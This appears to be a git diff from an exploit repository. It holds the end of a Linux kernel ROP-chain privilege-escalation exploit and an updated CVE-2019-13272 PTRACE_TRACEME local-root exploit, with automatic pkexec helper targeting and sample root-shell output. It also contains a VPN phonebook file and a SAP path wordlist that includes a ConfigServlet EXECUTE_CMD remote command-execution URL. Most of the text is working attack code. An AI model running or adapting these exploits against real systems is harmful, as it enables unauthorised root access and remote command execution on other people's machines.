dprintf("[.] KASLR bypass enabled, getting kernel base address\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[.] done, kernel text: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
unsigned long commit_creds = (KERNEL_BASE + kernels[kernel].commit_creds);
|
||||
unsigned long prepare_kernel_cred = (KERNEL_BASE + kernels[kernel].prepare_kernel_cred);
|
||||
unsigned long xor_rdi = (KERNEL_BASE + kernels[kernel].xor_rdi);
|
||||
unsigned long mov_rdi_rax = (KERNEL_BASE + kernels[kernel].mov_rdi_rax);
|
||||
unsigned long xchg_esp = (KERNEL_BASE + kernels[kernel].xchg_esp);
|
||||
unsigned long swapgs = (KERNEL_BASE + kernels[kernel].swapgs);
|
||||
unsigned long iretq = (KERNEL_BASE + kernels[kernel].iretq);
|
||||
|
||||
dprintf("[.] commit_creds: %lx\n", commit_creds);
|
||||
dprintf("[.] prepare_kernel_cred: %lx\n", prepare_kernel_cred);
|
||||
|
||||
dprintf("[.] mmapping fake stack...\n");
|
||||
|
||||
uint64_t page_size = getpagesize();
|
||||
uint64_t stack_aligned = (xchg_esp & 0x00000000fffffffful) & ~(page_size - 1);
|
||||
uint64_t stack_offset = xchg_esp % page_size;
|
||||
|
||||
unsigned long *fake_stack = mmap((void*)stack_aligned, 0x200000,
|
||||
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
|
||||
|
||||
if (fake_stack == MAP_FAILED) {
|
||||
dprintf("[-] mmap(fake_stack): %m\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
unsigned long *temp_stack = mmap((void*)0x30000000, 0x10000000,
|
||||
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
|
||||
|
||||
if (temp_stack == MAP_FAILED) {
|
||||
dprintf("[-] mmap(temp_stack): %m\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
static unsigned long result = 0;
|
||||
unsigned long *data = (unsigned long *)0;
|
||||
data[1] = (uint64_t)&result;
|
||||
data[3] = xchg_esp;
|
||||
|
||||
save_state();
|
||||
debug_enable_sigsev_handler();
|
||||
|
||||
fake_stack = (unsigned long *)(stack_aligned + stack_offset);
|
||||
|
||||
int i = 0;
|
||||
|
||||
fake_stack[i++] = xor_rdi;
|
||||
fake_stack[i++] = prepare_kernel_cred;
|
||||
fake_stack[i++] = mov_rdi_rax;
|
||||
fake_stack[i++] = 0x12345678;
|
||||
fake_stack[i++] = 0x12345678;
|
||||
fake_stack[i++] = 0x12345678;
|
||||
fake_stack[i++] = commit_creds;
|
||||
|
||||
fake_stack[i++] = swapgs;
|
||||
fake_stack[i++] = 0x12345678;
|
||||
|
||||
fake_stack[i++] = iretq;
|
||||
fake_stack[i++] = (unsigned long)shell;
|
||||
fake_stack[i++] = user_cs;
|
||||
fake_stack[i++] = user_rflags;
|
||||
fake_stack[i++] = (unsigned long)(temp_stack + 0x500000);
|
||||
fake_stack[i++] = user_ss;
|
||||
|
||||
dprintf("[~] done, fake stack mmapped\n");
|
||||
|
||||
dprintf("[.] executing payload %p...\n", (void*)&shell);
|
||||
trigger_bug();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,5 +1,10 @@
|
||||
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
|
||||
// Uses pkexec technique
|
||||
//
|
||||
// Uses pkexec technique. Requires execution within the context
|
||||
// of a user session with an active PolKit agent.
|
||||
//
|
||||
// Exploitation will fail if kernel.yama.ptrace_scope >= 2;
|
||||
// or SELinux deny_ptrace=on.
|
||||
// ---
|
||||
// Original discovery and exploit author: Jann Horn
|
||||
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
|
||||
@@ -14,6 +19,7 @@
|
||||
// Tested on:
|
||||
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
|
||||
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
|
||||
// - Ubuntu 18.04.3 kernel 5.0.0-23-generic
|
||||
// - Ubuntu 19.04 kernel 5.0.0-15-generic
|
||||
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
|
||||
// - Linux Mint 17.3 kernel 4.4.0-89-generic
|
||||
@@ -24,33 +30,37 @@
|
||||
// - Backbox 6 kernel 4.18.0-21-generic
|
||||
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
|
||||
// - Kali kernel 4.19.0-kali5-amd64
|
||||
// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
|
||||
// - MX 18.3 kernel 4.19.37-2~mx17+1
|
||||
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
|
||||
// - CentOS 8 kernel 4.18.0-80.el8.x86_64
|
||||
// - Debian 9.4.0 kernel 4.9.0-6-amd64
|
||||
// - Debian 10.0.0 kernel 4.19.0-5-amd64
|
||||
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
|
||||
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
|
||||
// - SparkyLinux 5.9 kernel 4.19.0-6-amd64
|
||||
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
|
||||
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
|
||||
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
|
||||
// - Antergos 18.7 kernel 4.17.6-1-ARCH
|
||||
// - lubuntu 19.04 kernel 5.0.0-13-generic
|
||||
// - Sabayon 19.03 kernel 4.20.0-sabayon
|
||||
// - Pop! OS 19.04 kernel 5.0.0-21-generic
|
||||
// ---
|
||||
// user@linux-mint-19-2:~$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
|
||||
// user@linux-mint-19-2:~$ ./ptrace_traceme_root
|
||||
// [user@localhost CVE-2019-13272]$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
|
||||
// [user@localhost CVE-2019-13272]$ ./ptrace_traceme_root
|
||||
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
|
||||
// [.] Checking environment ...
|
||||
// [~] Done, looks good
|
||||
// [.] Searching for known helpers ...
|
||||
// [~] Found known helper: /usr/sbin/mate-power-backlight-helper
|
||||
// [.] Using helper: /usr/sbin/mate-power-backlight-helper
|
||||
// [.] Searching policies for useful helpers ...
|
||||
// [.] Ignoring helper (does not exist): /usr/sbin/pk-device-rebind
|
||||
// [.] Trying helper: /usr/libexec/gsd-backlight-helper
|
||||
// [.] Spawning suid process (/usr/bin/pkexec) ...
|
||||
// [.] Tracing midpid ...
|
||||
// [~] Attached to midpid
|
||||
// To run a command as administrator (user "root"), use "sudo <command>".
|
||||
// See "man sudo_root" for details.
|
||||
//
|
||||
// root@linux-mint-19-2:/home/user#
|
||||
// [root@localhost CVE-2019-13272]# id
|
||||
// uid=0(root) gid=0(root) groups=0(root),1000(user)
|
||||
// [root@localhost CVE-2019-13272]# uname -a
|
||||
// Linux localhost.localdomain 4.18.0-80.el8.x86_64 #1 SMP Tue Jun 4 09:19:46 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
|
||||
// ---
|
||||
|
||||
#define _GNU_SOURCE
|
||||
@@ -80,6 +90,64 @@
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
/*
|
||||
* enabled automatic targeting.
|
||||
* uses pkaction to search PolKit policy actions for viable helper executables.
|
||||
*/
|
||||
#define ENABLE_AUTO_TARGETING 1
|
||||
|
||||
/*
|
||||
* fall back to known helpers if automatic targeting fails.
|
||||
* note: use of these helpers may result in PolKit authentication
|
||||
* prompts on the session associated with the PolKit agent.
|
||||
*/
|
||||
#define ENABLE_FALLBACK_HELPERS 1
|
||||
|
||||
static const char *SHELL = "/bin/bash";
|
||||
|
||||
static int middle_success = 1;
|
||||
static int block_pipe[2];
|
||||
static int self_fd = -1;
|
||||
static int dummy_status;
|
||||
static const char *helper_path;
|
||||
static const char *pkexec_path = "/usr/bin/pkexec";
|
||||
static const char *pkaction_path = "/usr/bin/pkaction";
|
||||
struct stat st;
|
||||
|
||||
const char *helpers[1024];
|
||||
|
||||
/* known helpers to use if automatic targeting fails */
|
||||
#if ENABLE_FALLBACK_HELPERS
|
||||
const char *known_helpers[] = {
|
||||
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
|
||||
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
|
||||
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
|
||||
"/usr/lib/unity-settings-daemon/usd-wacom-led-helper",
|
||||
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
|
||||
"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper",
|
||||
"/usr/sbin/mate-power-backlight-helper",
|
||||
"/usr/sbin/xfce4-pm-helper",
|
||||
"/usr/bin/xfpm-power-backlight-helper",
|
||||
"/usr/bin/lxqt-backlight_backend",
|
||||
"/usr/libexec/gsd-wacom-led-helper",
|
||||
"/usr/libexec/gsd-wacom-oled-helper",
|
||||
"/usr/libexec/gsd-backlight-helper",
|
||||
"/usr/lib/gsd-backlight-helper",
|
||||
"/usr/lib/gsd-wacom-led-helper",
|
||||
"/usr/lib/gsd-wacom-oled-helper",
|
||||
"/usr/lib64/xfce4/session/xsfm-shutdown-helper",
|
||||
};
|
||||
#endif
|
||||
|
||||
/* helper executables known to cause problems (hang or fail) */
|
||||
const char *blacklisted_helpers[] = {
|
||||
"/xf86-video-intel-backlight-helper",
|
||||
"/cpugovctl",
|
||||
"/resetxpad",
|
||||
"/package-system-locked",
|
||||
"/cddistupgrader",
|
||||
};
|
||||
|
||||
#define SAFE(expr) ({ \
|
||||
typeof(expr) __res = (expr); \
|
||||
if (__res == -1) { \
|
||||
@@ -98,36 +166,6 @@
|
||||
# define __NR_execveat 322
|
||||
#endif
|
||||
|
||||
static const char *SHELL = "/bin/bash";
|
||||
|
||||
static int middle_success = 1;
|
||||
static int block_pipe[2];
|
||||
static int self_fd = -1;
|
||||
static int dummy_status;
|
||||
static const char *helper_path;
|
||||
static const char *pkexec_path = "/usr/bin/pkexec";
|
||||
static const char *pkaction_path = "/usr/bin/pkaction";
|
||||
struct stat st;
|
||||
|
||||
const char *helpers[1024];
|
||||
|
||||
const char *known_helpers[] = {
|
||||
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
|
||||
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
|
||||
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
|
||||
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
|
||||
"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper",
|
||||
"/usr/sbin/mate-power-backlight-helper",
|
||||
"/usr/bin/xfpm-power-backlight-helper",
|
||||
"/usr/bin/lxqt-backlight_backend",
|
||||
"/usr/libexec/gsd-wacom-led-helper",
|
||||
"/usr/libexec/gsd-wacom-oled-helper",
|
||||
"/usr/libexec/gsd-backlight-helper",
|
||||
"/usr/lib/gsd-backlight-helper",
|
||||
"/usr/lib/gsd-wacom-led-helper",
|
||||
"/usr/lib/gsd-wacom-oled-helper",
|
||||
};
|
||||
|
||||
/* temporary printf; returned pointer is valid until next tprintf */
|
||||
static char *tprintf(char *fmt, ...) {
|
||||
static char buf[10000];
|
||||
@@ -272,23 +310,27 @@ static int check_env(void) {
|
||||
dprintf("[-] Could not find pkexec executable at %s\n", pkexec_path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (stat(pkaction_path, &st) != 0) {
|
||||
dprintf("[-] Could not find pkaction executable at %s\n", pkaction_path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (stat("/dev/grsec", &st) == 0) {
|
||||
dprintf("[-] Warning: grsec is in use\n");
|
||||
dprintf("[!] Warning: grsec is in use\n");
|
||||
warn++;
|
||||
}
|
||||
|
||||
if (xdg_session == NULL) {
|
||||
dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
|
||||
warn++;
|
||||
}
|
||||
if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
|
||||
|
||||
if (system("/bin/loginctl --no-ask-password show-session \"$XDG_SESSION_ID\" | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
|
||||
dprintf("[!] Warning: Could not find active PolKit agent\n");
|
||||
warn++;
|
||||
}
|
||||
|
||||
if (system("/sbin/sysctl kernel.yama.ptrace_scope 2>&1 | /bin/grep -q [23]") == 0) {
|
||||
dprintf("[!] Warning: kernel.yama.ptrace_scope >= 2\n");
|
||||
warn++;
|
||||
}
|
||||
|
||||
if (stat("/usr/sbin/getsebool", &st) == 0) {
|
||||
if (system("/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on") == 0) {
|
||||
dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
|
||||
@@ -296,7 +338,11 @@ static int check_env(void) {
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[~] Done, looks good\n");
|
||||
if (warn > 0) {
|
||||
dprintf("[~] Done, with %d warnings\n", warn);
|
||||
} else {
|
||||
dprintf("[~] Done, looks good\n");
|
||||
}
|
||||
|
||||
return warn;
|
||||
}
|
||||
@@ -306,25 +352,32 @@ static int check_env(void) {
|
||||
* Check each action for allow_active=yes, extract the associated helper path,
|
||||
* and check the helper path exists.
|
||||
*/
|
||||
#if ENABLE_AUTO_TARGETING
|
||||
int find_helpers() {
|
||||
if (stat(pkaction_path, &st) != 0) {
|
||||
dprintf("[-] No helpers found. Could not find pkaction executable at %s.\n", pkaction_path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char cmd[1024];
|
||||
snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
|
||||
FILE *fp;
|
||||
fp = popen(cmd, "r");
|
||||
if (fp == NULL) {
|
||||
dprintf("[-] Failed to run: %s\n", cmd);
|
||||
exit(EXIT_FAILURE);
|
||||
dprintf("[-] Failed to run %s: %m\n", cmd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char line[1024];
|
||||
char buffer[2048];
|
||||
int helper_index = 0;
|
||||
int useful_action = 0;
|
||||
int blacklisted_helper = 0;
|
||||
static const char *needle = "org.freedesktop.policykit.exec.path -> ";
|
||||
int needle_length = strlen(needle);
|
||||
|
||||
while (fgets(line, sizeof(line)-1, fp) != NULL) {
|
||||
/* check the action uses allow_active=yes*/
|
||||
/* check the action uses allow_active=yes */
|
||||
if (strstr(line, "implicit active:")) {
|
||||
if (strstr(line, "yes")) {
|
||||
useful_action = 1;
|
||||
@@ -334,6 +387,7 @@ int find_helpers() {
|
||||
|
||||
if (useful_action == 0)
|
||||
continue;
|
||||
|
||||
useful_action = 0;
|
||||
|
||||
/* extract the helper path */
|
||||
@@ -350,17 +404,23 @@ int find_helpers() {
|
||||
buffer[i] = found[needle_length + i];
|
||||
}
|
||||
|
||||
if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
|
||||
strstr(&buffer[0], "/cpugovctl") != 0 ||
|
||||
strstr(&buffer[0], "/package-system-locked") != 0 ||
|
||||
strstr(&buffer[0], "/cddistupgrader") != 0) {
|
||||
dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);
|
||||
continue;
|
||||
/* check helper path against helpers defined in 'blacklisted_helpers' array */
|
||||
blacklisted_helper = 0;
|
||||
for (i=0; i<sizeof(blacklisted_helpers)/sizeof(blacklisted_helpers[0]); i++) {
|
||||
if (strstr(&buffer[0], blacklisted_helpers[i]) != 0) {
|
||||
dprintf("[.] Ignoring helper (blacklisted): %s\n", &buffer[0]);
|
||||
blacklisted_helper = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (blacklisted_helper == 1)
|
||||
continue;
|
||||
|
||||
/* check the path exists */
|
||||
if (stat(&buffer[0], &st) != 0)
|
||||
if (stat(&buffer[0], &st) != 0) {
|
||||
dprintf("[.] Ignoring helper (does not exist): %s\n", &buffer[0]);
|
||||
continue;
|
||||
}
|
||||
|
||||
helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
|
||||
helper_index++;
|
||||
@@ -372,11 +432,12 @@ int find_helpers() {
|
||||
pclose(fp);
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
|
||||
|
||||
int ptrace_traceme_root() {
|
||||
dprintf("[.] Using helper: %s\n", helper_path);
|
||||
dprintf("[.] Trying helper: %s\n", helper_path);
|
||||
|
||||
/*
|
||||
* set up a pipe such that the next write to it will block: packet mode,
|
||||
@@ -436,29 +497,38 @@ int main(int argc, char **argv) {
|
||||
exit(0);
|
||||
}
|
||||
|
||||
/* Search for known helpers defined in 'known_helpers' array */
|
||||
dprintf("[.] Searching for known helpers ...\n");
|
||||
int i;
|
||||
for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
|
||||
if (stat(known_helpers[i], &st) == 0) {
|
||||
helper_path = known_helpers[i];
|
||||
dprintf("[~] Found known helper: %s\n", helper_path);
|
||||
ptrace_traceme_root();
|
||||
}
|
||||
}
|
||||
|
||||
/* Search polkit policies for helper executables */
|
||||
dprintf("[.] Searching for useful helpers ...\n");
|
||||
#if ENABLE_AUTO_TARGETING
|
||||
/* search polkit policies for helper executables */
|
||||
dprintf("[.] Searching policies for useful helpers ...\n");
|
||||
find_helpers();
|
||||
for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
|
||||
if (helpers[i] == NULL)
|
||||
break;
|
||||
|
||||
if (stat(helpers[i], &st) == 0) {
|
||||
helper_path = helpers[i];
|
||||
ptrace_traceme_root();
|
||||
}
|
||||
if (stat(helpers[i], &st) != 0)
|
||||
continue;
|
||||
|
||||
helper_path = helpers[i];
|
||||
ptrace_traceme_root();
|
||||
}
|
||||
#endif
|
||||
|
||||
#if ENABLE_FALLBACK_HELPERS
|
||||
/* search for known helpers defined in 'known_helpers' array */
|
||||
dprintf("[.] Searching for known helpers ...\n");
|
||||
for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
|
||||
if (stat(known_helpers[i], &st) != 0)
|
||||
continue;
|
||||
|
||||
helper_path = known_helpers[i];
|
||||
dprintf("[~] Found known helper: %s\n", helper_path);
|
||||
ptrace_traceme_root();
|
||||
}
|
||||
#endif
|
||||
|
||||
dprintf("[~] Done\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
Executable
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
@@ -0,0 +1,102 @@
|
||||
[VPNTEST]
|
||||
Encoding=1
|
||||
PBVersion=1
|
||||
Type=2
|
||||
AutoLogon=1
|
||||
UseRasCredentials=1
|
||||
LowDateTime=-1345834320
|
||||
HighDateTime=30248544
|
||||
DialParamsUID=849441
|
||||
Guid=174463CE6AAFD4458FC57A466A95B787
|
||||
VpnStrategy=1
|
||||
ExcludedProtocols=0
|
||||
LcpExtensions=1
|
||||
DataEncryption=8
|
||||
SwCompression=0
|
||||
NegotiateMultilinkAlways=0
|
||||
SkipDoubleDialDialog=0
|
||||
DialMode=0
|
||||
OverridePref=15
|
||||
RedialAttempts=3
|
||||
RedialSeconds=60
|
||||
IdleDisconnectSeconds=0
|
||||
RedialOnLinkFailure=1
|
||||
CallbackMode=0
|
||||
CustomDialDll=
|
||||
CustomDialFunc=
|
||||
CustomRasDialDll=
|
||||
ForceSecureCompartment=0
|
||||
DisableIKENameEkuCheck=0
|
||||
AuthenticateServer=0
|
||||
ShareMsFilePrint=1
|
||||
BindMsNetClient=1
|
||||
SharedPhoneNumbers=0
|
||||
GlobalDeviceSettings=0
|
||||
PrerequisiteEntry=
|
||||
PrerequisitePbk=
|
||||
PreferredPort=VPN3-0
|
||||
PreferredDevice=WAN Miniport (PPTP)
|
||||
PreferredBps=0
|
||||
PreferredHwFlow=1
|
||||
PreferredProtocol=1
|
||||
PreferredCompression=1
|
||||
PreferredSpeaker=1
|
||||
PreferredMdmProtocol=0
|
||||
PreviewUserPw=1
|
||||
PreviewDomain=1
|
||||
PreviewPhoneNumber=0
|
||||
ShowDialingProgress=1
|
||||
ShowMonitorIconInTaskBar=1
|
||||
CustomAuthKey=0
|
||||
AuthRestrictions=544
|
||||
IpPrioritizeRemote=1
|
||||
IpInterfaceMetric=0
|
||||
IpHeaderCompression=0
|
||||
IpAddress=0.0.0.0
|
||||
IpDnsAddress=0.0.0.0
|
||||
IpDns2Address=0.0.0.0
|
||||
IpWinsAddress=0.0.0.0
|
||||
IpWins2Address=0.0.0.0
|
||||
IpAssign=1
|
||||
IpNameAssign=1
|
||||
IpDnsFlags=0
|
||||
IpNBTFlags=1
|
||||
TcpWindowSize=0
|
||||
UseFlags=2
|
||||
IpSecFlags=0
|
||||
IpDnsSuffix=
|
||||
Ipv6Assign=1
|
||||
Ipv6Address=::
|
||||
Ipv6PrefixLength=0
|
||||
Ipv6PrioritizeRemote=1
|
||||
Ipv6InterfaceMetric=0
|
||||
Ipv6NameAssign=1
|
||||
Ipv6DnsAddress=::
|
||||
Ipv6Dns2Address=::
|
||||
Ipv6Prefix=0000000000000000
|
||||
Ipv6InterfaceId=0000000000000000
|
||||
DisableClassBasedDefaultRoute=0
|
||||
DisableMobility=0
|
||||
NetworkOutageTime=0
|
||||
ProvisionType=0
|
||||
PreSharedKey=
|
||||
|
||||
NETCOMPONENTS=
|
||||
ms_msclient=1
|
||||
ms_server=1
|
||||
|
||||
MEDIA=rastapi
|
||||
Port=VPN3-0
|
||||
Device=WAN Miniport (PPTP)
|
||||
|
||||
DEVICE=vpn
|
||||
PhoneNumber=127.0.0.1
|
||||
AreaCode=
|
||||
CountryCode=0
|
||||
CountryID=0
|
||||
UseDialingRules=0
|
||||
Comment=
|
||||
FriendlyName=
|
||||
LastSelectedPhone=0
|
||||
PromoteAlternates=0
|
||||
TryNextAlternateOnFail=1
|
||||
BIN
Binary file not shown.
BIN
Binary file not shown.
@@ -15,7 +15,7 @@
|
||||
:<script>.Ac816/ sENbove3101.404:
|
||||
:NT_AUTHORITY.Do `T:/shSYSTEM-.N:
|
||||
:09.14.2011.raid /STFU|wall.No.Pr:
|
||||
:hvensntSurb025N. dNVRGOING2GIVUUP:
|
||||
:hevnsntSurb025N. dNVRGOING2GIVUUP:
|
||||
:#OUTHOUSE- -s: /corykennedyData:
|
||||
:$nmap -oS SSo.6178306Ence:
|
||||
:Awsm.da: /shMTl#beats3o.No.:
|
||||
|
||||
Binary file not shown.
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
+549
-452
@@ -1,452 +1,549 @@
|
||||
/@download@
|
||||
/AdapterFramework/version/version.jsp
|
||||
/AdminTools/
|
||||
/Adobe
|
||||
/AdobeDocumentServices/Config
|
||||
/AdobeDocumentServices/Config?wsdl
|
||||
/AdobeDocumentServices/Grmg
|
||||
/AdobeDocumentServicesSec/Config
|
||||
/ADS-EJB
|
||||
/ADS-License
|
||||
/AE/index.jsp
|
||||
/AnalyticalReporting/
|
||||
/AnalyticalReporting/AnalyticalReporting_merge_web.xml
|
||||
/AnalyticalReporting/download/win32/websetup.properties
|
||||
/apidocs/
|
||||
/apidocs/allclasses-frame.html
|
||||
/apidocs/com/sap/engine/connector/connection/IConnection.html
|
||||
/apidocs/com/sap/engine/deploy/manager/Deploymanager.html
|
||||
/apidocs/com/sap/engine/deploy/manager/DeploymanagerFactory.html
|
||||
/apidocs/com/sap/engine/deploy/manager/LoginInfo.html
|
||||
/ApplicationAdminProvider
|
||||
/bcb/
|
||||
/bcb/bcbadmHome.jsp
|
||||
/bcb/bcbadmNavigation.jsp
|
||||
/bcb/bcbadmSettings.jsp
|
||||
/bcb/bcbadmStart.jsp
|
||||
/bcb/bcbadmSystemInfo.jsp
|
||||
/bcbtest/start.jsp
|
||||
/BI_UDC
|
||||
/BizcCommLayerAuthoring/Config?wsdl
|
||||
/BizcCommLayerAuthoring/Config1
|
||||
/BizcCommLayerAuthoring/Config1?wsdl
|
||||
/bwtest
|
||||
/caf
|
||||
/CAFDataService/Config
|
||||
/CAFDataService/Config?wsdl
|
||||
/ccsui
|
||||
/CmcApp/logon.faces
|
||||
/CMSRTS/Config?wsdl
|
||||
/CMSRTS/Config1
|
||||
/CMSRTS/Config1?wsdl
|
||||
/com~tc~lm~webadmin~httpprovider~web
|
||||
/CrystalReports/viewrpt.cwr
|
||||
/ctc
|
||||
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig%20/all
|
||||
/DataArchivingService
|
||||
/dispatcher
|
||||
/dswsbobje
|
||||
/dswsbobje/services/BICatalog?wsdl
|
||||
/dswsbobje/services/listServices
|
||||
/examples.html
|
||||
/examples/
|
||||
/examples_frame.html
|
||||
/exchangeProfile/
|
||||
/GRMGHeartBeat
|
||||
/GRMGWSTest/service
|
||||
/GRMGWSTest/service?wsdl
|
||||
/guid/e067540a-a84c-2d10-77bf-c941bb5a9c7a
|
||||
/htmlb/
|
||||
/htmlb/docs/api/index.html
|
||||
/htmlb/index.html
|
||||
/htmlb/jsp/index.jsp
|
||||
/htmlb/moresamples.html
|
||||
/htmlb/samples.html
|
||||
/IciActionItemService/IciActionItemConf
|
||||
/IciActionItemService/IciActionItemConf?wsdl
|
||||
/IciChatLineService/IciChatLineConf
|
||||
/IciChatLineService/IciChatLineConf?wsdl
|
||||
/IciChatService/IciChatConf?wsdl
|
||||
/IciEventService/
|
||||
/IciEventService/IciEventConf
|
||||
/IciEventService/IciEventConf?wsdl
|
||||
/IciEventService/sap
|
||||
/IciFolderService/IciFolderConf
|
||||
/IciFolderService/IciFolderConf?wsdl
|
||||
/IciItemService/IciItemConf
|
||||
/IciItemService/IciItemConf?wsdl
|
||||
/IciMessageService/IciMessageConf
|
||||
/IciMessageService/IciMessageConf?wsdl
|
||||
/IciMonitorService/IciMonitorConf
|
||||
/IciMonitorService/IciMonitorConf?wsdl
|
||||
/IciPhoneCallService/IciPhoneCallConf
|
||||
/IciPhoneCallService/IciPhoneCallConf?wsdl
|
||||
/IciSystemService/IciSystemConf
|
||||
/IciSystemService/IciSystemConf?wsdl
|
||||
/IciUserService/IciUserConf
|
||||
/IciUserService/IciUserConf?wsdl
|
||||
/IGSCustomizingXML
|
||||
/index.html
|
||||
/InfoViewApp/
|
||||
/InfoViewApp/help/en/user/html/
|
||||
/InfoViewApp/listing/main.do?appKind=InfoView&service=%2FInfoViewApp%2Fcommon%2FappService.do
|
||||
/inspection.wsil
|
||||
/ipcpricing/ui/
|
||||
/irj
|
||||
/irj/go/km/docs
|
||||
/irj/portal
|
||||
/irj/portalapps
|
||||
/irj/portalapps/com.petsmart.portal.navigation.masthead.idle_logout
|
||||
/irj/portalapps/com.sap.portal.design.portaldesigndata
|
||||
/irj/portalapps/com.sap.portal.design.urdesigndata
|
||||
/irj/portalapps/com.sap.portal.epcf.loader
|
||||
/irj/portalapps/com.sap.portal.navigation.detailedtree
|
||||
/irj/sdn/soa-discovery
|
||||
/irj/servlet
|
||||
/irj/servlet/prt
|
||||
/irj/servlet/prt/portal
|
||||
/irj/servlet/prt/portal/prtroot
|
||||
/irj/servlet/prt/portal/prtroot/com.sap.portal.dsm.terminator
|
||||
/irj/servlet/prt/portal/prtroot/com.sap.portal.epcf.loader.wdscriptblockprovider
|
||||
/irj/servlet/prt/portal/prtroot/pcd!(*)
|
||||
/irj/servlet/prt/portal/prttarget/uidpwlogon/prteventname/performchangepassword
|
||||
/KW
|
||||
/Lighthammer
|
||||
/logon
|
||||
/logon/index.jsp
|
||||
/logon/logonServlet
|
||||
/logon/logonServlet?redirectURL=%2Fuseradmin%2FuserAdminServlet
|
||||
/logon/logonServlet?redirectURL=%2FVC%2Fdefault.jsp
|
||||
/logon/logonServlet?redirectURL=%Fuseradmin%FuserAdminServlet
|
||||
/logon/logonServlet?redirectURL=%FVC%Fdefault.jsp
|
||||
/main.html
|
||||
/meSync/HttpGRMGTest.html
|
||||
/mmr/
|
||||
/mmr/mmr/MMRUI.html
|
||||
/Modeler
|
||||
/modeller/
|
||||
/modeller/index.html
|
||||
/monitoring
|
||||
/monitoring/SystemInfo
|
||||
/nwa
|
||||
/OpenSQLMonitors/
|
||||
/PerformacetraceTraceApplication
|
||||
/performanceProvierRoot
|
||||
/pmi
|
||||
/portal
|
||||
/portalapps
|
||||
/RE/index.jsp
|
||||
/rep/build_info.html
|
||||
/rep/build_info.jsp
|
||||
/rep/start/index.jsp
|
||||
/run/build_info.html
|
||||
/run/build_info.jsp
|
||||
/rwb/version.html
|
||||
/saml
|
||||
/samlssodemo_dest
|
||||
/samlssodemo_source
|
||||
/sap/
|
||||
/sap/admin
|
||||
/sap/admin/public/index.html
|
||||
/sap/bc/bsp/
|
||||
/sap/bc/bsp/esh_os_service/favicon.gif
|
||||
/sap/bc/bsp/sap
|
||||
/sap/bc/bsp/sap
|
||||
/sap/bc/bsp/sap/alertinbox
|
||||
/sap/bc/bsp/sap/bsp_dlc_frcmp
|
||||
/sap/bc/bsp/sap/bsp_veri
|
||||
/sap/bc/bsp/sap/bsp_verificatio
|
||||
/sap/bc/bsp/sap/bsp_verificatio
|
||||
/sap/bc/bsp/sap/bsp_wd_base
|
||||
/sap/bc/bsp/sap/bspwd_basics
|
||||
/sap/bc/bsp/sap/certmap
|
||||
/sap/bc/bsp/sap/certreq
|
||||
